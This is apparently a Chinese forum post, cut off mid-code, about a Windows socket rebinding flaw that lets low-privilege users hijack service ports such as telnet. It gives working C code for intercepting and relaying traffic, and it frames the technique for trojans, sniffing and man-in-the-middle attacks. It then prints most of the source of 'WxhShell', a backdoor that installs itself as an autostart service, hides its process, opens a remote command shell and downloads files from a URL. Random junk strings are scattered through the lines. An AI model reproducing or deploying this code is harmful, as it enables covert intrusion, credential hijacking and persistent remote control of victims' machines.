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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: L!'k ! k  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); $ C0TD7=  
=1oNZKBP  
  saddr.sin_family = AF_INET; `T2<<<  
:+%Zh@u\  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); +y#T?!jQYj  
O%f8I'u$  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); [,~TaP}m  
-/D|]qqHm  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 46h@j>/K  
_Hd{sd#xX1  
  这意味着什么?意味着可以进行如下的攻击: vU*x2fVb}  
{S<>&?XB  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 #Rew [\$  
%vO<9fE|1  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) .A1\J@b  
+ q''y  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 kz q29S  
]feyJLF  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  3"UsZyN:  
ue8qIZH  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 l12$l<x&M  
(X6sSO  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ~JuKV&&}K  
.1QgK  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 3|rn] yZ  
(vJ2z =z  
  #include R[1BfZ6s  
  #include >?YNW   
  #include {6d b{ ay_  
  #include    -Y:ROoFOZ  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Iia.k'N  
  int main() `!G7k  
  { ^ie^VY($  
  WORD wVersionRequested; A%vsno!  
  DWORD ret; AaN"7.Z/  
  WSADATA wsaData; Ae?e 70bY  
  BOOL val; PK&2h,Cu+  
  SOCKADDR_IN saddr; 0m+8P$)C%  
  SOCKADDR_IN scaddr; 4Z)DDz-}V  
  int err; QfQ\a%cc  
  SOCKET s; ACjf\4Q  
  SOCKET sc; GIv){[i  
  int caddsize; K` nJVc  
  HANDLE mt; nSY-?&l6P  
  DWORD tid;   ~ E=\t9r  
  wVersionRequested = MAKEWORD( 2, 2 ); -U>7 H`5  
  err = WSAStartup( wVersionRequested, &wsaData ); (tl}q3U  
  if ( err != 0 ) { rwpgBl  
  printf("error!WSAStartup failed!\n"); 0]x;n+G[q  
  return -1; s6=YV0w(  
  } t#<KxwhcN  
  saddr.sin_family = AF_INET; hN(L@0)  
   Z,WW]Y,$  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 {@r*+~C3  
:w?7j_p#  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); WwW^[k (X  
  saddr.sin_port = htons(23); ~4)Y#IxL  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *(*+`qZL{(  
  { [.q(h/b  
  printf("error!socket failed!\n"); vZajT!h  
  return -1; 'H FKBp  
  } >Wh3MG6  
  val = TRUE; y67uH4&Vm  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ggou*;'  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) !%mi&ak(Rn  
  { W>L@j(  
  printf("error!setsockopt failed!\n"); Q-zdJt  
  return -1; 4w{-'M.B  
  } Yb=6C3l@  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; wk 02[  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 E '%lxr  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 * Zd_ HJi  
_2jw,WKr  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) D&*LBQ/K  
  { >;i\v7  
  ret=GetLastError(); Qg0vG]  
  printf("error!bind failed!\n"); " OGdE_E  
  return -1; {rPk3  
  } d.pp3D 9/  
  listen(s,2); Q @2(aR  
  while(1) :HW>9nD.  
  { WF/l7u#4i  
  caddsize = sizeof(scaddr); i<u9:W  
  //接受连接请求 y3yvZD  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); G[q9A$yw  
  if(sc!=INVALID_SOCKET) 0RyFv+  
  { yx0Q+Sm1:  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 7Qh_8M  
  if(mt==NULL) ?mOg@) wx  
  {  #[ :w  
  printf("Thread Creat Failed!\n"); M}!A]@  
  break; 3c u9[~K  
  } .v,bXU$@YG  
  } 6s,2NeVWa  
  CloseHandle(mt); >%c*Xe  
  } b|ZLX:  
  closesocket(s); Lh 9S8EU  
  WSACleanup(); d,R6` i  
  return 0; Zu=kT}aGg  
  }   Lht[g9  
  DWORD WINAPI ClientThread(LPVOID lpParam) Tiprdvm<  
  { /{DaPqRa  
  SOCKET ss = (SOCKET)lpParam; C|6{fd4?  
  SOCKET sc; ;i9>}]6  
  unsigned char buf[4096]; >Me]m<$E;  
  SOCKADDR_IN saddr; B~_Spp  
  long num; >Zdi5') 5  
  DWORD val; UE)fUTS  
  DWORD ret; 99KVtgPm  
  //如果是隐藏端口应用的话,可以在此处加一些判断 g+9v$[!  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   !BRcq~-.  
  saddr.sin_family = AF_INET; @*_ZoO7{  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); & zgPN8u  
  saddr.sin_port = htons(23); q2!'==h2i  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) dwp: iM  
  { )nnCCR S6  
  printf("error!socket failed!\n"); L*O>IQh2  
  return -1; qG^_c;l6a  
  } k6J\Kkk(  
  val = 100; +=, u jO:  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) OMd# ^z  
  { }Z-I2 =]  
  ret = GetLastError(); o PaZ  
  return -1; wA r~<  
  } ! o^Ic`FhS  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 0l1.O2 -  
  { u0 BMyH  
  ret = GetLastError(); -,/3"}<^78  
  return -1; 9>{t}I d  
  } b8cVnP  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ( H[  
  { Q)+Y}  
  printf("error!socket connect failed!\n"); \[k% )_  
  closesocket(sc); l% |cB93  
  closesocket(ss); (+x]##Q  
  return -1; \=8=wQv  
  } #gI&lO*\gr  
  while(1) <Cr8V'c  
  { L"^.0*X/d  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ~T&% VvI  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 (!ZV9S  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 *N'hA5.z  
  num = recv(ss,buf,4096,0); RnSm]}?  
  if(num>0) {Ve D@  
  send(sc,buf,num,0); SJOmeN}4)  
  else if(num==0) *pK lA&_  
  break; Oh-Fp-v87  
  num = recv(sc,buf,4096,0); H%cp^G  
  if(num>0) $vqU|]J`  
  send(ss,buf,num,0); 2R] XH 0   
  else if(num==0) YnD#p[Wo^  
  break; 2) ?  
  } x?rbgsB5&  
  closesocket(ss); &_YtY47  
  closesocket(sc); L^jaBl  
  return 0 ; Dh?vU~v(6  
  } W[GQ[h  
_^b@>C>O  
+]_nbWL(%  
========================================================== K{N%kk%F  
pEkOSG  
下边附上一个代码,,WXhSHELL E+Im~=m$  
_lNC<7+#h  
========================================================== w`0)x5 TGR  
]DU61Z"v?b  
#include "stdafx.h" S{ey@ X(  
[5!'ykZ  
#include <stdio.h> U81;7L8  
#include <string.h>  'X|v+ ?  
#include <windows.h> <g*.p@o  
#include <winsock2.h> 6I5o2i  
#include <winsvc.h> OFIMi^@  
#include <urlmon.h> %Dra7B%  
*i%.{ YH  
#pragma comment (lib, "Ws2_32.lib") N tO?  
#pragma comment (lib, "urlmon.lib") }R`Irxv4  
2H3(HZv  
#define MAX_USER   100 // 最大客户端连接数 K Ka c6Zj  
#define BUF_SOCK   200 // sock buffer ^A- sS~w  
#define KEY_BUFF   255 // 输入 buffer ^ ~, ndH{  
&q"'_4  
#define REBOOT     0   // 重启 KCl &H  
#define SHUTDOWN   1   // 关机 hc6.#~i  
@Mzz2&(d U  
#define DEF_PORT   5000 // 监听端口 ^J0zXe -d  
[\88@B=jXP  
#define REG_LEN     16   // 注册表键长度 w/O<.8+  
#define SVC_LEN     80   // NT服务名长度 erXy>H[;  
Esb ?U|F4  
// 从dll定义API y%2%^wF  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); D7M0NEY  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^t`f1rGR  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )&XnM69~b  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); q%DVDq( z  
Q5hb0O%a  
// wxhshell配置信息 0n\^$WY  
struct WSCFG { jzMhJ  
  int ws_port;         // 监听端口 7TnM4@*f  
  char ws_passstr[REG_LEN]; // 口令 ([[)Ub$U  
  int ws_autoins;       // 安装标记, 1=yes 0=no g>UBZA4  
  char ws_regname[REG_LEN]; // 注册表键名 tK*%8I\s  
  char ws_svcname[REG_LEN]; // 服务名 C?{D"f`[]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 <sO?ev[  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >6XDX=JVI  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 c%jsu"  
int ws_downexe;       // 下载执行标记, 1=yes 0=no U) +?$ Tbm  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" nZ&T8@m  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 fVG$8tB  
y#&$ f  
}; [ k!-;mi   
+O&RBEa[  
// default Wxhshell configuration k{?!O\yY  
struct WSCFG wscfg={DEF_PORT, p}96uaC1  
    "xuhuanlingzhe", 1!X1wCT  
    1, .4I w=T_  
    "Wxhshell", 2]2{&bu  
    "Wxhshell", W)|c[Q\  
            "WxhShell Service", t3pZjdLJd  
    "Wrsky Windows CmdShell Service", HE*7\"9  
    "Please Input Your Password: ", (QhG xuC  
  1, .V8/ELr]  
  "http://www.wrsky.com/wxhshell.exe", C:rRK*  
  "Wxhshell.exe" YW'{|9KnI  
    }; t'dHCp}  
(D0C#<4P  
// 消息定义模块  \C!%IR  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &$<(D0  
char *msg_ws_prompt="\n\r? for help\n\r#>"; *Kp}B}}J  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; KbXbT  
char *msg_ws_ext="\n\rExit."; dFd lB `L  
char *msg_ws_end="\n\rQuit."; $*YC7f  
char *msg_ws_boot="\n\rReboot..."; oSN8Xn*qr  
char *msg_ws_poff="\n\rShutdown..."; 8mk}nex  
char *msg_ws_down="\n\rSave to "; T"n>h  
TNyK@~#m  
char *msg_ws_err="\n\rErr!"; f#'8"ff*1  
char *msg_ws_ok="\n\rOK!"; AGl|>f)  
zhuy ePn  
char ExeFile[MAX_PATH]; \s.1R/TyD  
int nUser = 0; ay=KfY5  
HANDLE handles[MAX_USER]; q1U&vZ3]c  
int OsIsNt; i:V0fBR[>  
rn5"o8|  
SERVICE_STATUS       serviceStatus; : : F!   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 8$2l^  
"|(rVj=  
// 函数声明 aUKh}) B  
int Install(void); UedvA9$&;  
int Uninstall(void); /!^L69um  
int DownloadFile(char *sURL, SOCKET wsh); o9_(DJ<{  
int Boot(int flag); a];BW)  
void HideProc(void); cSY2#u|v  
int GetOsVer(void); u(8_[/_B  
int Wxhshell(SOCKET wsl); nu;} S!J  
void TalkWithClient(void *cs); 30A`\+^f  
int CmdShell(SOCKET sock); #S@UTJa  
int StartFromService(void); )`B -O::  
int StartWxhshell(LPSTR lpCmdLine); -Pqi1pj]  
2=igS#h  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); m Y$nI -P  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]jHgo](%  
,:v.L}+Z  
// 数据结构和表定义 &?KPu?9  
SERVICE_TABLE_ENTRY DispatchTable[] = L{cK^ ,  
{ ^;0~6uBEJr  
{wscfg.ws_svcname, NTServiceMain}, H @_eFlT t  
{NULL, NULL} 4$0jz'  
}; A Oby*c  
A8 \U CG  
// 自我安装 @`w'   
int Install(void) W2}%zux  
{ Py|H? ,6=  
  char svExeFile[MAX_PATH]; @/CRIei  
  HKEY key; C_;HaQiu  
  strcpy(svExeFile,ExeFile); <{$ ev&bQ  
2>!_B\%)H  
// 如果是win9x系统,修改注册表设为自启动 #g@  
if(!OsIsNt) { 4(` 2#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9X 5*{f Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a/`c ef  
  RegCloseKey(key); j~+[uzW98  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?R|fS*e2EB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z-N-9E  
  RegCloseKey(key); $w|o@ Ml)  
  return 0; :SpG&\+  
    } Y&?|k'7  
  } UI|v/(_^F  
} 03X<x|  
else { "\VW. S  
GOv9 2$e  
// 如果是NT以上系统,安装为系统服务 y+K7WUwhq  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); AzHIp^  
if (schSCManager!=0) P`\m9"7  
{ S/@dkHI'  
  SC_HANDLE schService = CreateService - XE79 fQ  
  ( /2g)Z!&+L  
  schSCManager, xT_fr,P  
  wscfg.ws_svcname, uS! 35{.>  
  wscfg.ws_svcdisp, p{mxk)A  
  SERVICE_ALL_ACCESS, ](B& l{V  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [47K7~9p  
  SERVICE_AUTO_START, ;whFaQi 4  
  SERVICE_ERROR_NORMAL, #JJp:S~`   
  svExeFile, xFsB?d  
  NULL, OoAr%  
  NULL, JVJ1Ay/be  
  NULL, j33P~H~  
  NULL, )'BJ4[aq\  
  NULL Ee t+  
  ); >>oASo  
  if (schService!=0) dD/29b(  
  { s,UN'~e1  
  CloseServiceHandle(schService); R$!;J?SS  
  CloseServiceHandle(schSCManager); ;4-p upK~%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); m [g< K  
  strcat(svExeFile,wscfg.ws_svcname); |QAeQWP+1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &=s|  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6e$sA (a=i  
  RegCloseKey(key); 9B!im\]O  
  return 0; veYsctK~  
    } 4b3F9  
  } 'k-u9  
  CloseServiceHandle(schSCManager); <|KKv5[  
} ]MqH13`)A  
} %nDPM? aO  
<?q&PCAn^  
return 1; G1#Bb5q:  
} ]YisZE4s  
z:ru68  
// 自我卸载 egxJ3.  
int Uninstall(void) Dyouk+08x  
{ 1jUhG2y  
  HKEY key; j=xtnIq  
@\%)'WU  
if(!OsIsNt) { 3PvZ_!G  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h}anTFKP  
  RegDeleteValue(key,wscfg.ws_regname); w-0O j  
  RegCloseKey(key); RvyBg:Aj5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J'G`=m"-'  
  RegDeleteValue(key,wscfg.ws_regname); .R$+#_  
  RegCloseKey(key); X]JpS  
  return 0; C0t+Q  
  } _e:5XQ  
} 0p:ClM 2O  
} ]v^`+s}3  
else { bMqu5G_q  
v GR \GFm  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 6mI_Q2  
if (schSCManager!=0) |l6<GWG+  
{ O]Ry3j  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =E{{/%u{{S  
  if (schService!=0) 9%3 r-U=  
  { F$6])F  
  if(DeleteService(schService)!=0) { RAg|V:/M  
  CloseServiceHandle(schService); VQNYQqu`[  
  CloseServiceHandle(schSCManager); s{"`=dKT  
  return 0; I |<+'G  
  } XvA0nEi  
  CloseServiceHandle(schService); &{%S0\K Y  
  } `L"p)5H  
  CloseServiceHandle(schSCManager); ga{25q}"  
} 6PzN>+t^y  
} 7/^TwNsv  
~q8V<@?  
return 1; Zv1Bju*y  
} 8aZey_Hw;+  
sO{0hZkc  
// 从指定url下载文件 ~*' 8=D?)  
int DownloadFile(char *sURL, SOCKET wsh) | z(Ws  
{ |oBdryi  
  HRESULT hr; 5|6z1{g8  
char seps[]= "/"; ."!8B9 s  
char *token; VJ6>3  
char *file; 8H 3!; ]  
char myURL[MAX_PATH]; Lilk8|?#W  
char myFILE[MAX_PATH]; 282+1X  
+QXYU8bYZ  
strcpy(myURL,sURL); uwH)/BW)[  
  token=strtok(myURL,seps); EMW4<na[  
  while(token!=NULL) 9p[W :)P4d  
  { .kB3jfw0,  
    file=token; +9Hk+.  
  token=strtok(NULL,seps); =|6^)lt$  
  } Z+``/Q]>+  
9s\i(/RxW  
GetCurrentDirectory(MAX_PATH,myFILE); U7*VIRibv+  
strcat(myFILE, "\\"); e&H<lT  
strcat(myFILE, file); 6XOpB^@  
  send(wsh,myFILE,strlen(myFILE),0); @KW+?maW  
send(wsh,"...",3,0); _~w V{ yp  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); QN}3S0  
  if(hr==S_OK) +3o)L?:g  
return 0; =qS^Wz.  
else DETajf/<F  
return 1; $Va]vC8?  
cP#]n)<  
} 8Snq75Q<   
)HzITsFZKT  
// 系统电源模块 ek{PA!9Sk  
int Boot(int flag) 2,XqslB)  
{ Z z; <P  
  HANDLE hToken; {Jw<<<G  
  TOKEN_PRIVILEGES tkp; W &0@&U  
XJxs4a1[t  
  if(OsIsNt) { zFdz]z3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3U9+l0mBa  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); od5w9E.  
    tkp.PrivilegeCount = 1; :LIKp;  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @8<uAu%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2;?wN`}5g=  
if(flag==REBOOT) { 1&@wb'MBs.  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "mP*}VF  
  return 0; 8v)~J}[Bz  
} [^(R1K  
else { 9Pob|UA  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }_kI>  
  return 0; 5k%N<e` `  
} y8~)/)l&  
  } 6rN5Xf cS  
  else { }'.Sn{OWf  
if(flag==REBOOT) { Zs$RKJ7  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^$Eiz.  
  return 0; =iK6/ y`  
} GaK_9Eg-2  
else { #g`cih=QL  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 0Li'a{n2  
  return 0; ;DgX"Uzm  
} v/TlXxfil  
} ik:)-GV;s  
3~3(G[w  
return 1; dI0>m:RBz  
} hA,rSq  
v$Y1+Ep9  
// win9x进程隐藏模块 \I,Dje/:w  
void HideProc(void) g 2 { ?EP  
{ i;'X}KW  
ZhbY, wJ,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); agxSb^ 8tF  
  if ( hKernel != NULL ) nhX p_Z9  
  { `1d`9AS2g  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /qhm9~4e3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); vzrD"  
    FreeLibrary(hKernel); pffw5Tc  
  } uuK]<h*  
b}U&bFl  
return; 9Or4`JOO  
} GwpBDM k  
g d}TTe  
// 获取操作系统版本 |8U7C\S[  
int GetOsVer(void) Hv7D+ j8M  
{ h,6S$,UI  
  OSVERSIONINFO winfo; .' 2gJ"?,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); dR, NC-*  
  GetVersionEx(&winfo); ZNC?Ntw  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /2\= sTd  
  return 1; nIqY}??  
  else ttq< )4  
  return 0; M>H^<N}'A  
} 0)Xue9AS  
cLko  
// 客户端句柄模块 ;7`um  
int Wxhshell(SOCKET wsl) yb.|7U?/x  
{ TYS\:ZdXF  
  SOCKET wsh; HYYx*CJ)  
  struct sockaddr_in client; [#rdfN'?U  
  DWORD myID; eKFc W5O  
(xSi6EZ6;  
  while(nUser<MAX_USER) qH$rvD!]  
{ : )"jh`  
  int nSize=sizeof(client); f`]E]5?  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); mhkAI@)>  
  if(wsh==INVALID_SOCKET) return 1; +xdFkc  
qjEWk."  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); k+GK1Yl  
if(handles[nUser]==0) 2#A9D.- h  
  closesocket(wsh); ,lS-;.  
else [W\atmd"  
  nUser++; (Rg!km%2T  
  } [ma#8p)  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,<j5i?  
otH[?c?BT  
  return 0; Q2pboZ86  
} EC!Cv;'  
U1!2nJ]  
// 关闭 socket 7 8inh%  
void CloseIt(SOCKET wsh) eh7r'DmAR  
{ nMdN$E  
closesocket(wsh); ^5 =E`q".  
nUser--; j{-7Pf8A  
ExitThread(0); o-<_X&"a|5  
} $`dNl#G,  
BRzWZq%r3  
// 客户端请求句柄 qg:I+"u  
void TalkWithClient(void *cs) 4e\`zy  
{ Fl3r!a!P,  
d47:2Zj  
  SOCKET wsh=(SOCKET)cs; +C;#Qf  
  char pwd[SVC_LEN]; QV7c9)<]'}  
  char cmd[KEY_BUFF]; o@`E.4  
char chr[1]; ~ 2oP,  
int i,j; @`8 B} C  
18tQWI$  
  while (nUser < MAX_USER) { A;`U{7IST  
JG4*B|3  
if(wscfg.ws_passstr) { 8+cpNX  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ` +UMZc  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0THAI  
  //ZeroMemory(pwd,KEY_BUFF); ~#km0<r?  
      i=0; :.<TWBoV  
  while(i<SVC_LEN) { eo52X &I  
gWH9=%!  
  // 设置超时 LU7)F,ok  
  fd_set FdRead; A.x}%v,E  
  struct timeval TimeOut; v]SE?xF{U  
  FD_ZERO(&FdRead); 6$<o^Ha*R  
  FD_SET(wsh,&FdRead); GE+csnA2  
  TimeOut.tv_sec=8; K 0H!Ds9  
  TimeOut.tv_usec=0; J6Nw-qF  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); T*~)9o  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); O36r ,/X  
C|@k+^S  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z?aR9OTP  
  pwd=chr[0]; w*P4_= :%Y  
  if(chr[0]==0xd || chr[0]==0xa) { yBh"qnOT  
  pwd=0; sq|@9GS0T  
  break; .eXA.9 |jm  
  } 'J0s%m|j  
  i++; hg=G//  
    } 0F'UFn>{  
rAw1g,&  
  // 如果是非法用户,关闭 socket NKhR%H  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); u0hbM9U>  
} z n8ig/C  
NG!Q< !Y  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); OmbKx&>YGz  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "$cT*}br  
24/~gft  
while(1) { 6="&K_Q7  
.p~;U|h"  
  ZeroMemory(cmd,KEY_BUFF); Vy~$%H94  
#$C]0]|  
      // 自动支持客户端 telnet标准   $<mL2$.L~  
  j=0; |aJ6363f.  
  while(j<KEY_BUFF) { N;pr:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /l%qq*Ew  
  cmd[j]=chr[0]; oySM?ZE  
  if(chr[0]==0xa || chr[0]==0xd) { JP*mQzZL  
  cmd[j]=0; Xb]?/7 X  
  break; { (,vm}iFL  
  } dk`!UtNNRa  
  j++; j|dzd<kE6  
    } IqKXFORiNI  
|L{dQ)-'l  
  // 下载文件 =e{KtX.  
  if(strstr(cmd,"http://")) { L([>yQZ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =,G(1#  
  if(DownloadFile(cmd,wsh)) ;-^9j)31+F  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); >F_Ne)}qTQ  
  else nqJV1h  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bXLa~r4\  
  } K"$ky,tU  
  else { bY$! "b~  
&YKzK)@  
    switch(cmd[0]) { me^Gk/`Em  
  Vho0f<`E  
  // 帮助 iquGLwJ  
  case '?': { v("vUqhx2+  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }AYSQ~:  
    break; :E`l(sI7J}  
  } h l'k_<a*  
  // 安装 6ng g*kE<  
  case 'i': { j&GKpt  
    if(Install()) K): sq{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :#jv4N  
    else .cog9H'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X&X')hzIt  
    break; ' qS!n  
    } %$ ?Q%  
  // 卸载 @?? 6)C  
  case 'r': { O G}&%NgH  
    if(Uninstall()) Vs"Q-?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %y+j~]^:  
    else --)[>6)I  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8}T3Fig,q  
    break; bkIA:2HX  
    } (5;xs  
  // 显示 wxhshell 所在路径 .e#j#tQp  
  case 'p': { ?7a[| -  
    char svExeFile[MAX_PATH]; ovFfTP<3V  
    strcpy(svExeFile,"\n\r"); s>I}-=.(Q  
      strcat(svExeFile,ExeFile); =ab}.dWC  
        send(wsh,svExeFile,strlen(svExeFile),0); OXV@LYP@  
    break; ;0q6 bp(<H  
    } rdg1<Z  
  // 重启 i.4[]f[/h  
  case 'b': { O0YGjS|d  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4q8%!\A+  
    if(Boot(REBOOT)) $dw;Kj'\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GefgOlg5"  
    else { vdzC2T  
    closesocket(wsh); T/5U lW|\  
    ExitThread(0); U6PUt'Kk@  
    } '|R|7nQAj  
    break; Big-)7?  
    } J?$uNlI  
  // 关机 42LV>X#i  
  case 'd': { 6d8  
